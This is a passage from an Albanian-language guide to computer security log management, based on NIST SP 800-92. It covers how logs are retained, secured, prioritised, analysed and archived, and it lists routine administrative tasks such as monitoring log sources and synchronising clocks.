Administratorët e infrastrukturës duhet të sigurohen që log-et e arkivuara të ruhen në sasinë dhe kohën e nevojshme. Ato mund të shkatërrohen vetëm kur bëhen totalisht të padobishëm. Në rastet kur ato duhen ruajtur për afate të gjata dhe sasia rritet shumë, administratorët duhet të kujdesen që të sigurojnë kujtesën e nevojshme për këtë proces.

4.1.3 Siguria e log-eve

Administratorët duhet të sigurohen që log-et të ruhen në vende të sigurta, konfidencialiteti dhe integriteti i tyre të jetë i mbrojtur dhe në përputhje me legjislacionin në fuqi. Disa hapa që mund të merren për të rritur sigurinë janë:

a) Kufizimi i aksesit mbi log-et vetëm nga persona të autorizuar.
b) Shmangia e ruajtjes së të dhënave konfidenciale të panevojshme.
c) Mbrojtja e log-eve të arkivuar.
d) Sigurimi që procesi i gjenerimit të log-eve të jetë i pandërprerë.

4.2 Analizimi i të dhënave

Analizimi i të dhënave është pjesa më e rëndësishme dhe më e vështirë e procesit të menaxhimit të log-eve. Më poshtë po japim disa hapa që mund të ndiqen.

4.2.1 Të kuptuarit e log-eve

Çelësi i analizës së log-eve është të kuptuarit e aktivitetit që kryen çdo sistem. Arsyet kryesore janë:

a) Konteksti. Kuptimi i çdo logu varet nga konteksti që e rrethon. Administratorët duhet ta kuptojnë saktë kontekstin në të cilën vendoset çdo log.
b) Mesazhet e paqarta**.** Shpesh mesazhet e log-eve janë të enkriptuara ose kanë kuptim vetëm për softwarin që është ndërtuar për to. Shpesh ka nevojë për software të tipit SIEM ose për software nga palët e treta.

4.2.2 Përcaktimi i prioritetit të log-eve

Prioritizimi i log-eve është proces sfidues. Pavarsisht se disa software i përcaktojnë prioritetet, shpesh këto janë inkonsistente dhe jashtë kontekstit. Prandaj institucionet duhet të përcaktojnë priroritetet duke u bazuar në:

a) Llojin e hyrjes
b) Hyrjen më të re
c) Burimin e hyrjes
d) Destinacionin
e) Kohën e hyrjes
f) Frekuencën

4.3 Menaxhimi i memorjes për ruajtjen e log-eve afatgjata.

Administratorët janë ata që menaxhojnë mjediset të cilat ruajnë log-et. Shpeshherë këto të dhëna duhen ruajtur për një kohë të gjatë dhe duhet pasur parasysh:

a) Zgjedhja e një formati për arkivim. Nëse të dhënat ruhen në një format të veçantë administratorët duhet të vendosin nëse është formati që duhen arkivuar log-et, duhet përdorur një format universal apo të dyja.
b) Arkivimi i të dhënave. Të dhënat mund të ruhen në tape, CD/DVD, network starage, etj. Kur bëjnë këtë zgjedhje administratorët duhet të kënë parasysh kohën për të cilën do ruhen log-et.
c) Ruajtja e të dhenave në mënyrë të sigurtë**.** Administratorët duhet të sigurohen për ruajtjen fizike të të dhënave. Kjo përfshin ruajtjen nga aksesi i paautorizuar, kontrollin e temperaturës dhe lagështisë, fushave magnetike etj.

4.4 Veprime të tjera operacionale

Administratorët mund të kryejnë edhe veprime të tjera për të mbështetur menaxhimin e log-eve:

a) Monitorimin e statusit të të gjitha burimeve të log-eve
b) Monitorimin e rotacionit dhe arkivimit
c) Azhornimin me versionet e fundit dhe rregullimet e ndryshme për software e përdorur në menazhimin e log-eve
d) Sinkronizimin e orës në burimet e ndryshme të log-eve
e) Rikonfigurimin e burimeve të log-eve në rastet e ndryshimit të politikave
f) Dokumentimin e anomalive të ndryshme të vërejtura gjatë procesit të menaxhimit

Referenca

Ky udhëzues është mbështetur në:
Special Publication 800-92 - Guide to Computer Security Log Management

[1] *Imazhet dhe figurat janë marrë nga Special Publication 800-92 - Guide to Computer Security Log Management*